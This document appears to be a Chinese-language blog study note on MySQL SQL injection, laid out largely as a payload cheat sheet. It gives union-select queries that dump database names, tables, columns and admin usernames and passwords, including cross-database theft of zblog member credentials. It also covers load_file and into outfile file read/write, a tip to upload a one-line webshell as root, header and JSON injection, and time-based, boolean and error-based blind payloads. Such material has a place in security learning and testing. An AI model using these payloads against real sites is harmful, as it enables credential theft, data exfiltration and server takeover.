赞
踩
mysql注入:
mysql里面有内置的管理员用户,其中root就是默认数据库管理员用户
1.数据库统一管理(root用户)
mysql
root
root(默认自带)
网站A (testA)
网站B (testB)
2.数据库一对一管理(不同用户)
mysql
testA用户
网站A testA
testB用户
网站B testB
root用户:先测试读写,后获取数据(直接上传一句话木马)
非root用户:直接测试获取数据
SQL常规查询
1、数据库版本-看是否符合information_schema查询-version()
2、数据库用户符合ROOT型注入攻击-user()
3、当前操作系统-看是否支持大小写或文件路径选择-@@version_compile_os
4、数据库名字-为后期猜解指定数据库下的表、列做准备-database()
MYSQL5.0以上版本:自带的数据库名information_schema
information_schema 数据库里面所有的信息
information_schema.schemata 所有的数据库名
information_schema.tables 所有的数据表
information_schema.columns 所有数据列
schema_name:information_schema.schemata记录数据库名信息的列名值
table_schema:information_schema.tables记录数据库名的列名值
table_name:information_schema.tables记录表名的列名值
column_name:information_schema.columns记录列名的列名值
有回显,常见的注入测试
- order by 6 先找到有多少个长度
- union select 1,2,3,database(),user(),6 直接爆出数据库和用户权限
- union select 1,2,3,version(),@@version_compile_os,6 版本和操作系统
- union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='demo01' 直接利用information_schema.tables爆出所有的表,group_concat是所有的,不加只能爆一个
- union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='admin' 用informaation_schema.columns爆出所有的列,然后后面再限定一个表
- union select 1,2,3,username,password,6 from admin limit 0,1 爆出表为admin,列名为username,password的值
跨库查询
通过A网站的注入点直接拿到B网站的信息,但前提是需要root权限
- 获取所有的数据库union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata
- 获取zblog的所有的表union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema='zblog'
- 获取表为zbp_member的所有列union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_name='zbp_member' and table_schema='zblog'
- 只有最后一步,zblog.zbp_member表示一个上下级关系union select 1,2,3,mem_Name,mem_Password,6 from zblog.zbp_member
文件读写
影响条件:当前数据库用户权限 secure-file-priv设置
- union select 1,load_file('d:\\t.txt'),3,4,5,6
- union select 1,'xiaodi',3,4,5,6 into outfile 'd:\\2.txt'
读写的路径问题:
1、报错显示获取路径
2、phpinfo页面泄露
如果单引号被限制了,可以使用16进制(sql注入中,编码就不用单引号,路径、表名、数据库等)
sql数据请求类型
因为黑盒测试中,不清楚带入的数据是怎样的,所以只能挨个挨个测试
- 数字型
- select * from news where id=$id;
- 字符型
- select * from news where id='$id'
- 搜索型
- select * from news where id like '%$id%'
- 框架型
- select * from news where id=('$id');
- select * from news where (id='$id');
数据请求方法
全局变量方法:GET POST SERVER FILES HTTP头等
get、post、server是直接带进去测试,是一种很常规的注入方法。
X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP]).
直接在数据包中加xxf,然后后面修改ip或者注入代码。
用户登录时就是利用post注入。
注入语句最后跟--+和#,这两个都可以相互替换试着来
数据请求格式,有些时候是base64加密,有些时候json加密,base64需要直接进行转换,json是用bp抓包后进行更改,直接在值上面。原来是
{"username":"admin"}改为{"username":"admin' union select 1,database(),version(),4#"}
增删改查
- 1.功能:查询
- SELECT * FROM news where id=$id
- 2.功能 :新增用户,添加新闻等
- INSERT INTO news (字段名) VALUES (数据)
- 3.功能:删除用户,删除新闻等
- DELETE FROM news WHERE id=$id
- 4.功能:修改用户,修改文章
- UPDATE new SET id=$id
盲注:盲注就是注入过程中,获取的数据不能回显至前端页面
- 延时盲注,如果条件成立,延时5秒,不成立延时0秒
- if(条件,sleep(5),sleep(0))
- 布尔盲注:有数据输出判断标准
- 报错注入:必须要有容错处理才行
- 延迟:
- and sleep(1);
- and if(1>2,sleep(1),0);
- and if(1<2,sleep(1),0);
- 布尔:
- and length(database())=7;
- and left(database(),1)='p';
- and left(database(),2)='pi';
- and substr(database(),1,1)='p';
- and substr(database(),2,1)='i';
- and ord(left(database(),1))=112;
- 报错:
- and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)
- and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
- 更多:https://www.jianshu.com/p/bc35f8dd4f7c
- 参考:
- like 'ro%' #判断ro或ro...是否成立
- regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
- if(条件,5,0) #条件成立 返回5 反之 返回0
- sleep(5) #SQL语句延时执行5秒
- mid(a,b,c) #从位置b开始,截取a字符串的c位
- substr(a,b,c) #从位置b开始,截取字符串a的c长度
- left(database(),1),database() #left(a,b)从左侧截取a的前b位
- length(database())=8 #判断数据库database()名的长度
- ord=ascii ascii(x)=97 #判断x的ascii码是否等于97
二次注入、堆叠注入、外带注入
#实战中一般发现不了二次注入,除非用白盒审计。堆叠注入,一般出现在ctf中,外带注入忽略不计
一般出现在用户注册登录修改密码,个人简历功能
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。